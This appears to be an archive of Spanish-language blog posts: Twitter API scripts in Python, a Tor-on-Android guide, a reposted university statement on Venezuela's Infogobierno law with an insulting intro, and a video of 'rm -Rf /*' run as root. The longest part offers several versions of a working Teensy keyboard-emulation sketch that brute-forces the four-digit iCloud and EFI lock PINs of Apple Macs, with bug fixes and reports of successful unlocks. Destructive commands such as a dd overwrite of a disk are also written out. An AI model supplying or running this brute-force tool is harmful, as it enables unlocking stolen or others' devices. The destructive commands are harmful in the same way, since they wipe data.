Aprende a colocar contraseña a GRUB y a gestionarlo.
Creado por SuGE3K
Aprende a colocar contraseña a GRUB y a gestionarlo.
Creado por SuGE3K
Aprende a gestionar los logs de GNU/Linux con Rsyslog y Logrotate.
Creado por SuGE3K
Lean lo que piensa el vicerrectorado administrativo de la UCV con respecto a la migración a las tecnologias libres. Y si el llega a leer alguno de su equipo esto, que me disculpen, pero son una cuerda de ignorantes y flojos que no buscan mas que excusas porque no quieren ni estudiar, ni aprender mas!!!! IGNORANTES!
Ley de Infogobierno.
Análisis conjunto entre el VRAC y la DITC del Rectorado UCV. Posición Inicial del VRAC.
El día martes 10-03-2015, el Vicerrector Académico Prof. Nicolás Bianco C., los Gerentes de Área y de Línea así como el personal profesional de Informática, la Jefa del Departamento de Administración y la Asesora Jurídica, todos del VRAC, se reunieron en la Sala C del Complejo de la Biblioteca Central en amplia interacción con el Prof. Julio Vivas, Director de Información y Tecnologías de la Comunicación (DITC) adscrita al Rectorado, y sus colaboradores, para analizar en profundidad la Ley de Infogobierno promulgada por el EjecutivoNacional a finales de 2014. Es pertinente recordar que la base de sustentación operativa del nuevo Vicerrectorado Académico de la UCV (gestión 2008- ) está conformada por la integración, la gerencia y el masivo empleo de sistemas y programas (software).
Como conclusión de esta interacción se acordó que la DITC presentaría ante la Rectora García Arocha Márquez, la solicitud de un derecho de palabra ante el Consejo Universitario para exponer y tratar esta compleja materia y, por otra parte, la DITC procedería a interactuar con la Oficina Central de Asesoría Jurídica (OCAJ) de la UCV, para establecer acciones jurídicas en relación al contenido y al impacto de la Ley de Infogobierno sobre la esencia y operatividad de las
universidades.
El Vicerrectorado Académico presenta en este informe ante el CU una opinión preliminar, que proviene de la discusión entre sus directivos y la Asesoría Jurídica en comisión de servicios Abogado Julie González. Nuestra opinión es la siguiente:
La Ley de Infogobierno es el instrumento jurídico mediante el cual se pretende establecer los principios, bases y lineamientos que rigen el uso de las tecnologías de información en el Poder Público para mejorar la gestión pública y los servicios que se prestan a las personas impulsando la transparencia del sector público, estableciéndose una serie de sanciones que van desde multas comprendidas entre cincuenta (50) y quinientas (500) Unidades Tributarias, hasta la inhabilitación para el ejercicio de funciones públicas cuando, entre otras infracciones, no se cumpla con la obligación de migrar a software libre o adquieran o siga usándose de algún modo software propietario. Las Universidades Públicas, así como cualquier otra institución del sector universitario de naturaleza pública, están sometidas a las disposiciones contenidas en esta Ley de conformidad con el artículo 2.8 de la misma.
Entre las finalidades de la Ley de Infogobierno está garantizar la transparencia de la gestión pública, facilitando el acceso a la información pública (art 3.6) y contribuir en los modos de organización y funcionamiento del Poder Público, apoyando la
simplificación de los trámites y procedimientos administrativos que éstos realizan (art.3.8). Se establece además que son de interés público y de carácter estratégico las tecnologías de información libres, como instrumento para garantizar la efectividad, transparencia, eficacia y eficiencia de la gestión pública (art. 4).
Lo peor viene aqui:
Ahora bien, entendiendo que la gestión pública es la aplicación de todos los procesos e instrumentos que posee la administración pública para lograr los objetivos de desarrollo o de bienestar de la población, es decir es el ejercicio de la función administrativa del gobierno que busca poner en contacto directo a la ciudadanía con el Poder Público, consideramos lógico que esta Ley se aplique a todos los órganos y entes que ejercen el Poder Público Nacional, Estadal y
Municipal y a las sociedades, fundaciones y empresas de Estado por la naturaleza de las funciones que realizan; pero en ningún caso se le puede aplicar a las Universidades porque es una violación flagrante al Derecho a la Educación y a la Autonomía Universitaria.
El Derecho a la Educación no puede estar sujeto a restricciones y prohibiciones, y mucho menos a sanciones, ya que es un derecho fundamental de todos los seres humanos que les permite adquirir conocimientos y alcanzar así una vida social plena, siendo vital para el desarrollo económico, social y cultural de todas las sociedades. La Universidad, por su parte, es una comunidad de intereses espirituales que reúne a profesores y estudiantes en la tarea de buscar la verdad y afianzar los valores trascendentales del hombre, teniendo como finesrealizar una función rectora en la educación, la cultura y la ciencia.
Para cumplir esta misión, las actividades universitarias se dirigirán a crear, asimilar y difundir el saber mediante la investigación y la enseñanza, a completar la formación integral iniciada en los ciclos educacionales anteriores, y a formar los equipos profesionales y técnicos que necesita la Nación para su desarrollo y progreso. En este contexto la Constitución venezolana establece que el Estado reconocerá la autonomía universitaria como principio y jerarquía que permite a los profesores, estudiantes y egresados dedicarse a la búsqueda del conocimiento a través de la investigación, científica, humanística y tecnológica para beneficio de la Nación, en consecuencia pretender limitar o restringir la búsqueda del
conocimiento, la creación de conocimiento, al uso exclusivo de software libre so pena de sanciones es abiertamente inconstitucional porque atenta contra el espíritu y razón de ser de las Universidades, contra el derecho a la educación y contra la progresividad del mismo.
De modo que este Vicerrectorado Académico recomienda que no solo esta Casa de Estudios, sino todas las Universidades Públicas, ejerzan un recurso de nulidad por razones de inconstitucionalidad junto con medida cautelar de suspensión de efectos contra el artículo 2.8 de la Ley de Infogobierno que establece que esta Ley se aplica a las Universidades Públicas.
Prof. Nicolás Bianco C.
Vicerrector Académico211||||
Sigo en mi travesía por aprender Python y que mejor forma que solucionar problemas en funciona a la privacidad.
Varias personas me comentaron lo tedioso que es eliminar mensajes privados en Twitter así que decidi hacer una herramienta que me permita automatizar todo esto.
Lo primero es crear una app en twitter visitando apps.twitter.com y otorgarle permisos de lectura, escritura y DMs. Allí mismo pueden generar el consumer_key, consumer_secret, access_token_key y el access_token_secret.
El script no es nada complejo y de hecho hay oportunidades para mejorarlo, aqui se los dejo:
# https://github.com/orvtech/Python-tools-for-twitter
import json
import requests
from requests_oauthlib import OAuth1
consumer_key='<YOUR CONSUMER KEY HERE>'
consumer_secret='<YOUR CONSUMER SECRET HERE>'
access_token_key='<YOUR ACCESS TOKEN HERE>'
access_token_secret='<YOUR ACCESS TOKEN SECRET HERE>'
def get_messages_ids():
api_url='https://api.twitter.com/1.1/direct_messages.json'
payload = {'count':'200', 'cursor':'-1', 'skip_status':'1'}
auth = OAuth1(consumer_key, consumer_secret, access_token_key, access_token_secret)
r = requests.get(api_url, stream=False, auth=auth, params=payload)
if r.headers['x-rate-limit-remaining'] and r.headers['x-rate-limit-remaining'] == "0":
print("We reached rate limit for ", api_url)
print("Try again at", r.headers["x-rate-limit-reset"])
quit()
DMs = json.loads(r.content)
message_ids=[]
for x in range(len(DMs)):
current_ids=DMs[x]['id']
message_ids.append(current_ids)
api_url='https://api.twitter.com/1.1/direct_messages/sent.json'
payload = {'count':'200'}
r = requests.get(api_url, stream=False, auth=auth, params=payload)
if r.headers['x-rate-limit-remaining'] and r.headers['x-rate-limit-remaining'] == "0":
print("We reached rate limit for ", api_url)
print("Try again at", r.headers["x-rate-limit-reset"])
quit()
DMs = json.loads(r.content)
for x in range(len(DMs)):
current_ids=DMs[x]['id']
message_ids.append(current_ids)
return message_ids
def nuke_messages(DMs):
for x in DMs:
api_url='https://api.twitter.com/1.1/direct_messages/destroy.json'
payload = {'id':x}
auth = OAuth1(consumer_key, consumer_secret, access_token_key, access_token_secret)
r = requests.post(api_url, stream=False, auth=auth, params=payload)
while True:
DMs = get_messages_ids()
if DMs and len(DMs) > 0:
print('Deleting:', DMs)
nuke_messages(DMs)
else:
print('There appears that there are no more DMs', DMs)
break
Usa solo 2 funciones, una en la que invoca primero los primeros 200 mensajes recibidos y luego los primeros 200 mensajes enviados. Tras evaluar si en realidad existen mensajes, se le pasan los IDs de los mensajes a eliminar a la segunda función y se repite este proceso hasta que no existan mas IDs a eliminar.
Tanto las llamadas de al API para saber los IDs de los mensajes enviados como las de los mensajes enviados tiene un limite así que implemente mecanismos para monitorear si se llego al limite leyendo las cabeceras de las peticiones HTTP.
Por lo pronto pueden hacer un fork de este repositorio de github En un futuro me gustaría convertirlo en una aplicación web usando flask o algo por ese estilo.
The Onion Ring (TOR) protege tu privacidad haciendo que tu conexión navegue a través de una red distribuida por todo el mundo. Evita que alguien malintencionado o un gobierno totalitario se de cuenta que sitios visitas y al mismo tiempo que sitios malintencionados sepan tu ubicación geográfica.
La instalación en dispositivos Android es sencilla y configurar el cliente oficial de Twitter para que navegue por esta red es aun mas facil como lo puedes ver en este video.
Como ven el procedimiento es fácil y una vez instalada ORBOT en cuestión de segundos pueden tener el cliente oficial de Android configurado para que use como proxy HTTP la IP 127.0.0.1 a través del puerto 8118. Cabe destacar que a pesar de que mi tablet tiene acceso a root en ningún momento me pidio autorizacion para usar el modo super usuario asi que esto debería de funcionar en teléfonos o tablets sin acceso a root.
Las aplicaciones que use en este video las pueden descargar desde el Play Store de Google.
En el caso de Facebook recomiendo usar Tinfoil for Facebook y configurar el HTTP Proxy, Puedes descargar la aplicación directo desde el Play Store . Si quieres saber mas de esta aplicación hecha por un Venezolano no dejes de pinchar en Tinfoil Facebook: funcional y respeta tu privacidad.
Aquí les dejo una captura de pantallas que les muestra como configurar Tinfoil for Facebook, usen los mismos datos para el proxy que usaron para configurar twitter (127.0.0.1 a través del puerto 8118).
Si también quieres mayor privacidad desde tu computadora puedes usar TOR Browser Bundle que es una suite the software que incluye el cliente de TOR y una versión de Firefox pre-configurada para usar este cliente. Tor Browser Bundle soporta distintas versiones de los sistemas operativos Windows, Linux y Mac OS X.
Con la ayuda de cron y Python podemos pre-programar el envío de tweets sin que estos se repitan y llevar un registro de los que se han enviado. Este corto script hecho en python es mi segunda aventura con este lenguaje que poco a poco me esta enamorando.
La lógica es simple, el programador de tweets lee un archivo que contiene un tweet por linea, actualiza mi estado en twitter con el contenido de esa linea, registra los resultados en un archivo y por ultimo elimina esa linea del archivo evitando así repetir el mismo tweet. Veamos el código fuente:
#!/usr/bin/python
import twitter
import datetime
now = datetime.datetime.now()
with open('lista.txt', 'r') as f:
first_line = f.readline()
first_line = first_line.strip('\n')
print first_line
f.close()
logfile = open('procesados.txt','a')
fecha=now.strftime("%Y-%m-%d_%H:%M:%S")
logfile.write(fecha + ' ' + first_line + '\n')
logfile.close()
#send tweet
api = twitter.Api(consumer_key='',
consumer_secret='',
access_token_key='',
access_token_secret='')
status = api.PostUpdate(first_line)
print status.text
#removing status from queue
lines = open('lista.txt').readlines()
open('lista.txt', 'w').writelines(lines[1:])
Como vieron en el código fuente, solo necesitamos proporcionarle el archivo lista.txt donde cada tweet dependiendo del tipo tiene limitaciones de longitud distintas. Si no posee un hyper vinculo el limite es de 117 caracteres excluyendo la URL mientras que si no tiene un hiper vinculo el limite es de 140 caracteres. El archivo lista.txt se vería algo así:
Just ran out of bacon, the room seems to be shrinking, please help! ... and bacon Programador de tweets hecho en python https://orvtech.com/planificador-tweets-python.html
Leí un poco y se que se puede hacer un demonio y dejar que python se encargue de esto pero para comenzar decidí hacerlo usando cron. Me decidí a tuitear dos veces por día entre semana mientras que los fines de semana solo una vez. Mi crontab se ve así:
15 15 * * 0,6 /usr/bin/python /scheduler/reader.py >> /scheduler/reader.log 2>&1
14 6 * * 1-5 /usr/bin/python /scheduler/reader.py >> /scheduler/reader.log 2>&1
11 20 * * 1-5 /usr/bin/python /scheduler/reader.py >> /scheduler/reader.log 2>&1
Después de varios años decidí iniciarme en el mundo de Python y jugar un poco con el API de Twitter así que decidí hacer un programa en Python que compara tu lista de seguidores con tu lista de amigos para obtener una lista de las personas que tu sigues pero no te siguen. Es decir, quien te dejo de seguir en Twitter o como dicen en la red, quien te ha dado unfollow.
Como era mi primer intento decidí usar python-twitter que por lo que leí era la mas sencilla de usar. Para instalar este paquete de Python pueden ejecutar:
pip install python-twitter
El programa para listar unfollowers es este:
#!/usr/bin/python
#orvtech_no_me_sigue.py para API 1.0
import twitter
#Prepare the needed data for twitter's oauth
api = twitter.Api(consumer_key='<YOUR_CONSUMER_KEY_HERE>',
consumer_secret='<YOUR_CONSUMER_KEY_HERE>',
access_token_key='<YOUR_TOKEN_KEY_HERE>',
access_token_secret='<YOUR_TOKEN_SECRET_HERE>')
#Get followers by handle
followers = api.GetFollowers()
seguidores =[]
for u in followers:
seguidores.append(u.screen_name)
#Get friends by handle
friends = api.GetFriends()
siguiendo =[]
for f in friends:
siguiendo.append(f.screen_name)
#Get the list of people that you follow that but that are not in the followers list
unfollowers = list(set(siguiendo) - set(seguidores))
count_uncool = len(unfollowers)
print "Total friends not following you: " + str(count_uncool)
for uncool in unfollowers:
print uncool + " " + "https://twitter.com/" + uncool
Como ven para poder ejecutar este programa y ver sus unfollowers deberán obtener una serie de datos de dev.twitter.com para autentificar su programa contra oauth. El producto de este programa se vera algo similar a esto:
Total friends not following you: 61 planetfedora https://twitter.com/planetfedora twitter https://twitter.com/twitter TwitterEng https://twitter.com/TwitterEng twittercomms https://twitter.com/twittercomms twitterapi https://twitter.com/twitterapi fedora https://twitter.com/fedora make https://twitter.com/make dickc https://twitter.com/dickc TwitterIO https://twitter.com/TwitterIO TwitterSF https://twitter.com/TwitterSF safety https://twitter.com/safety
Por ahora lo que quiero es exportarlo a una aplicacion web, si tienen sugerencias me las pueden dejar en los comentarios, me gustaría un poco de orientación de como hacer de este programa una aplicacion web.
Con la salida de el API 1.0 de Twitter el código que esta arriba queda obsoleto y rápidamente alcanza el limite de peticiones de la API. El codigo a continuación trabaja perfectamente con la API versión 1.1 siempre y cuando no tengas mas de 5000 seguidores o mas de 100 personas que no te siguen.
#!/usr/bin/python
#orvtech_no_me_sigue.py para API 1.0
import twitter
#Prepare the needed data for twitter's oauth
api = twitter.Api(consumer_key='<YOUR_CONSUMER_KEY_HERE>',
consumer_secret='<YOUR_CONSUMER_KEY_HERE>',
access_token_key='<YOUR_TOKEN_KEY_HERE>',
access_token_secret='<YOUR_TOKEN_SECRET_HERE>')
followers = api.GetFollowerIDs()
friends = api.GetFriendIDs()
unfollowers = list(set(friends) - set(followers))
count_uncool = len(unfollowers)
nombre = api.UsersLookup(user_id=unfollowers)
print "Total friends not following you: " + str(count_uncool)
counter = 0
for uncool in nombre:
print nombre[counter].name + " https://twitter.com/" + nombre[counter].screen_name
counter += 1
Recientemente escribí sobre como llevar a cabo un ataque de fuerza bruta contra el bloqueo del EFI de una Mac y aunque al principio no logre lo que quería fue solo cuestión de horas para que alguien revisara mi código y se diera cuenta del bug que lo afectaba. Hoy en día el código funcional al 100% y ya se han desbloqueado varias Mac usando este procedimiento.
Cuando una computadora Apple es bloqueada remotamente desde un dispositivo iOS esta recibe un PIN numérico de 4 dígitos a través del iCloud. El bloqueo es tanto a nivel de OS como de EFI (su BIOS). El articulo que comentaba anterior mente se enfoca en el bloqueo del EFI mientras que este se enfocara en el del OS también conocido como PIN de iCloud.
Tras un poco de ensayo y error y con ayuda de la comunidad de MacRumors logre modificar el Sketch de la Teensy 3 para que pudiese atacar PIN del iCloud, aquí les dejo el código:
#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.
const int ledPin = 13;
int counter = 0;
//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT);
delay(10000);
digitalWrite(ledPin, LOW);
}
void loop(){
keyboard_modifier_keys = 0;
//lets wait 1minute and 1 second
if (firstloop >= 5){
delay(61000);
firstcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((firstloop < 5) && (firstcompleted == false)){
digitalWrite(ledPin, HIGH);
++firstloop;
digitalWrite(ledPin, LOW);
}
//lets wait 5 minutes and one second
if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
delay(301000);
secondloop = 0;
secondcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
++secondloop;
digitalWrite(ledPin, LOW);
}
//lets wait 15 minutes and 1 second
if ((thirdloop >= 1) && (secondcompleted == true)){
delay(901000);
thirdloop = 0;
secondcompleted = false;
firstcompleted = false;
firstloop = 0;
secondloop = 0;
thirdloop = 0;
digitalWrite(ledPin, LOW);
}
else if ((thirdloop < 1) && (secondcompleted == true)){
++thirdloop;
digitalWrite(ledPin, LOW);
}
//lets get to work
if (counter <= 9999){
delay(100503);
digitalWrite(ledPin, LOW);
delay(7049);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_ENTER);
delay(405);
Keyboard.release(KEY_ENTER);
digitalWrite(ledPin, LOW);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}
La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.
Siéntanse libres de clonarlo, hacer forks y contribuir.
Un miembro de la comunidad de MacRumors hizo una versión mas simple y elegante de este que lo pueden ver aquí: How to: Unlock System Lock PIN Code.
Supongo que con un botón y poca modificación del código se podrían tener las dos lógicas dentro de un Teensy para atacar ambos bloqueos sin necesidad de programarlo.
Actualizado: El código ya fue revisado y esta funcionando, Un usuario me confirmo que lo implemento en su Teensy 3 y le funciono sin problemas, Si lo que deseas es leer el código que funciona sin la historia detrás de este, solo has click aquí.
Dicen que de los errores se aprende así que quiero compartir este con ustedes para que se les haga mas fácil.
Recientemente me llego una MacBook Pro que tras tres semanas de haber sido comprada el vendedor se arrepintió del negocio y decidió bloquearla con una pantalla que decía "devuelveme la laptop y te devuelvo el dinero", justo debajo de este mensaje aparecía un candado y cuatro campos que aceptaban solo caracteres numéricos.
Tanto al comprador como a mi nos pareció de mal gusto el gesto que tuvo el vendedor sobretodo cuando este pidió que se le pagara en efectivo. Así se veía justo después de prender la MacBook pro pero antes de formatear:
Como no conocía que intenciones o de lo que era capaz el vendedor decidí formatear el disco a bajo nivel, lo monte en otra maquina y le hice `dd if=/dev/random of=/dev/sdd` como por unos 30 minutos, detuve el proceso y volví a armar la MBP.
Mi sorpresa fue que al querer iniciar desde el disco de OSX para iniciar la re-instalación me salió otra pantalla donde pedía un password, esta vez no tenia limite de caracteres pero seguía siendo numérico. Investigando un poco me di cuenta que los procesos de NVRAM no funcionarían pues esta MBP era muy nueva aunque de todas formas lo intente y corrobore mi teoría.
En algunos foros sugerían que se intente cada combinación manualmente y que algunos les había tomado un par de semanas en sus ratos libres, suena bien, verdad? Pero y si el PIN es el ultimo que intento, cuanto tiempo me tomaría? y si me salto por equivocación algún numero?
Sabiendo lo disléxico que soy y lo mucho que prefiero caminar por la playa y compartir con mi familia decidir automatizar este proceso. La lógica es simple, un contador del 0 al 9999 que siempre le de formato a la salida en forma de 4 dígitos, no es cosa del otro mundo.
Que hardware puedo usar? que módulos del kernel en Linux tengo que cargar para enviar la data desde una maquina a otra como si fuese un teclado? así se inicia mi búsqueda y mi pronta realización de que necesitaría un hardware especializado para esto.
La mayoría de nuestras computadoras son incapaces de hacer que su controladora USB se identifique como un HID (dispositivo de interfaz humana por sus siglas en ingles) por lo que no podría hacer esto desde mi computadora usando BASH o Python.
Un dispositivo que podría funcionar es una Arduino pero no sin antes armar un shield y el costo de este shield (ya teniendo el breadboard o un protoshield) es de aproximadamente unos $24 sin incluir el envió y los impuestos. La alternativa es el Teensy que con envió e impuesto me costo poco menos de $23.
El Teensy 3 termino siendo el hardware mas efectivo para esta tarea, me hubiese gustado construir el shield requerido para el Arduino pero sin mucho tiempo libre que se diga este no era opción.
Ordene el Teensy 3 por sugerencia de Paul Stoffregen, el me comentaba que la versión 3 (la mas reciente) funcionaba con 3 voltios a diferencia de los anteriores que funcionaban con 5 voltios y que la industria se estaba moviendo hacia dispositivos de 3 voltios por lo que los de 5 voltios quedarían obsoletos pronto.
Dos días después de que lo compre ya estaba en en casa y a los pocos minutos ya lo tenia corriendo una version mas simple del codigo final. Esta versión funcionaba sin problemas sobre un editor de texto plano, el detalle esta en que al intentar contra la MacBook Pro de apple no funcionaba, en ocasiones enviaba una tecla, otras enviaba 2 pero parecía nunca enviar el "enter".
Al día siguiente con la mente mas fresca y no después de un turno de 12 horas de trabajo me dispuse a atacar el problema. Alguien en Apple se gasto su tiempo para hacer esta forma de ataque lo mas difícil posible para una maquina pero a la vez lo mas amigable para un humano así que me dispuse a imitar un humano y luego de varios intentos termine con esta versión del código:
#include <usb_keyboard .h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.
const int ledPin = 13;
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT);
delay(10000);
}
void loop(){
keyboard_modifier_keys = 0;
if (counter < = 9999){
delay(8000);
digitalWrite(ledPin, LOW);
delay(5500);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
Keyboard.press(pin[1]);
delay(450);
Keyboard.release(pin[1]);
delay(420);
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_ENTER);
delay(305);
Keyboard.release(KEY_ENTER);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}
Como pueden ver evito enviar los cuatro dígitos juntos y asigno distintos valores para esperar entre los eventos de presionar la tecla y soltarla así como también la espera entre dígito y dígito. Luego de unos minutos de prueba note que la MBP había incrementado el tiempo de espera entre intento e intento así que decidí asignar un valor mas alto desde el inicio.
Como no le instale una pantalla para ver por cual numero iba, decidí hacer un script el cual corro desde mi maquina con Fedora 18 que da un aproximado de que combinación esta usando ahora para el ataque. El script es simple y uso la sumatoria de los mili-segundos que estoy pasándole a delay() y el mismo valor mas un segundo, asumiendo que mi tiempo de reacción al iniciar el script es mas lento o que el ejecutar el resto de las instrucciones introduzca alguna demora. Este es el script:
while true do
clear echo
date start=`date +%s -d "Wed Jan 16 17:46:00"`
current=`date +%s`
echo "Current PIN Between: " | tr '\n' ' '
echo "($current - $start) / 19.782" | bc | tr '\n' ' '
echo " and " | tr '\n' ' '
echo "($current - $start) / 18.782" | bc
sleep 2
done
Así se vería en ejecución en mi monitor, use el tamaño de fuentes grandes para poderlo ver desde lejos sin forzar la vista.
Lo bueno de automatizar este proceso es que tan solo me tomo cuarenta y ocho horas en enviar las diez mil combinaciones, sin olvidar ninguna y sin repetir ninguna, muchísimo menos que las tres o mas semanas que me hubiese demorado en hacerlo manualmente.
En general estoy contento, no gaste mas de 30 minutos en total programando en un lenguaje con el que no tengo practica y la Teensy funciono sin problemas.
Las malas noticias es que recorrí dos veces todas las combinaciones y no logre entrar. Al parecer al uno cambiar el disco duro, el EFI genera un nuevo password aleatorio de 6 caracteres numéricos o mas lo que en el mejor de los casos me tomaría mínimo 197 días continuos.
Usando un poco de información del vendedor me hubiese gustando intentar distintas combinaciones de su numero de teléfono, fecha de cumpleaños, etc.. pero sin muchos detalles se me es imposible esta opción.
El error estuvo en formatear el disco asumiendo que la restricción estaría solo allí, teniendo hoy en día el disco duro pudiese intentar el ataque de fuerza bruta usando el Teensy al sistema operativo. Mi consejo al comprador fue llevara a corte al vendedor o hablar en una tienda de Apple a ver que respuesta le dan aunque no espero que sea positiva.
Aquí les dejo un vídeo del ataque:
En una conversión con un australiano que es especialista en pentesting macs y atacando el EFI me dice que si consigo una MBP del mismo modelo y le extraigo su firmware pudiese subírselo a la que esta bloqueada usando un programador PIC también me aseguro que el sabe la forma de arrancarla atacando el puerto del thunderbolt pero que desafortunadamente no podía comentar sobre el tema.
Pueden revisar los temas referentes a EFI en su blog via ho.ax y en especial les recomiendo esta presentación para los que tienen curiosidad sobre su trabajo http://ho.ax/posts/2012/10/ruxcon/.
Recientemente este articulo fue reseñado en hackaday y varios foros lo que trajo como consecuencia que mas gente revisara mi código y se percataran de un error en este (¿ven la importancia del Código Abierto?).
En las primeras lineas de código estoy enviando pin[1] dos veces y en ningún momento estoy enviando pin[0]. acabo de corregir el código y lo probé en un documento de texto plano, hasta ahora todo parece estar bien, el nuevo código es:
#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.
const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT); // declare LED as output
delay(10000);
}
void loop(){
keyboard_modifier_keys = 0;
if (counter <= 9999){
delay(8000);
digitalWrite(ledPin, LOW);
delay(5500);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
//sending first digit
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
//sending second digit
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
//sending third digit
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
//sending forth digit
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
//sending enter
Keyboard.press(KEY_ENTER);
delay(305);
Keyboard.release(KEY_ENTER);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}
La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.
Siéntanse libres de clonarlo, hacer forks y contribuir.
Voy a contactar al dueño del laptop a ver si me la puede enviar de nuevo y comenzar el ataque de nuevo, de esto no ser posible me gustaría escuchar sugerencias de como probarlo.
- Martes 12 de Marzo: Ya he recibido confirmaciones de que este código esta funcionando, Como lo pueden ver en este post de MacRumors:
Se que a muchos les da curiosidad ver que sucede cuando intentamos eliminar de forma recursiva todos los archivos y directorios del directorio raíz de nuestro sistema así que aproveche de hacer un video precisamente ejecutando rm -Rf /* como root. Aquí pueden ver el video:
Como ven las consecuencias son visibles tan pronto empezamos a ejecutar este comando y si se fijaron hay directorios que no son eliminados.
Estos directorios como es el caso de /proc residen en memoria y no pueden ser eliminados mientras que otros como /var contienen directorios que a su vez residen en memoria con es el caso de /var/tmp en mi instalación de Fedora.
En vista de que me han preguntado varias veces y muchos han especulado sin realmente tener pruebas me decidi a averiguar en que estado quedaba el sistema operativo. ¿Que archivos y directorios sobrevivieron?
Para responder esto simplemente monte el disco duro viejo en otra instalación de linux y ejecute find /mnt/oldhdd -type lo que arrojo como resultado:
/mnt/oldhdd/
/mnt/oldhdd/sys
/mnt/oldhdd/dev
/mnt/oldhdd/var
/mnt/oldhdd/var/tmp
/mnt/oldhdd/run
/mnt/oldhdd/run/libgpod
/mnt/oldhdd/run/faillock
/mnt/oldhdd/run/setroubleshoot
/mnt/oldhdd/run/openvpn
/mnt/oldhdd/run/plymouth
/mnt/oldhdd/run/wpa_supplicant
/mnt/oldhdd/run/netreport
/mnt/oldhdd/run/mdadm
/mnt/oldhdd/run/cups
/mnt/oldhdd/run/cups/certs
/mnt/oldhdd/run/spice-vdagentd
/mnt/oldhdd/run/sepermit
/mnt/oldhdd/run/abrt
/mnt/oldhdd/run/console
/mnt/oldhdd/run/vpnc
/mnt/oldhdd/run/ppp
/mnt/oldhdd/run/blkid
/mnt/oldhdd/run/setrans
/mnt/oldhdd/run/utmp
/mnt/oldhdd/run/net-snmp
/mnt/oldhdd/run/lock
/mnt/oldhdd/run/lock/dmraid
/mnt/oldhdd/run/lock/lockdev
/mnt/oldhdd/run/lock/ppp
/mnt/oldhdd/run/NetworkManager
/mnt/oldhdd/run/saslauthd
/mnt/oldhdd/run/gdm
/mnt/oldhdd/run/gdm/greeter
/mnt/oldhdd/run/pptp
/mnt/oldhdd/proc
/mnt/oldhdd/boot
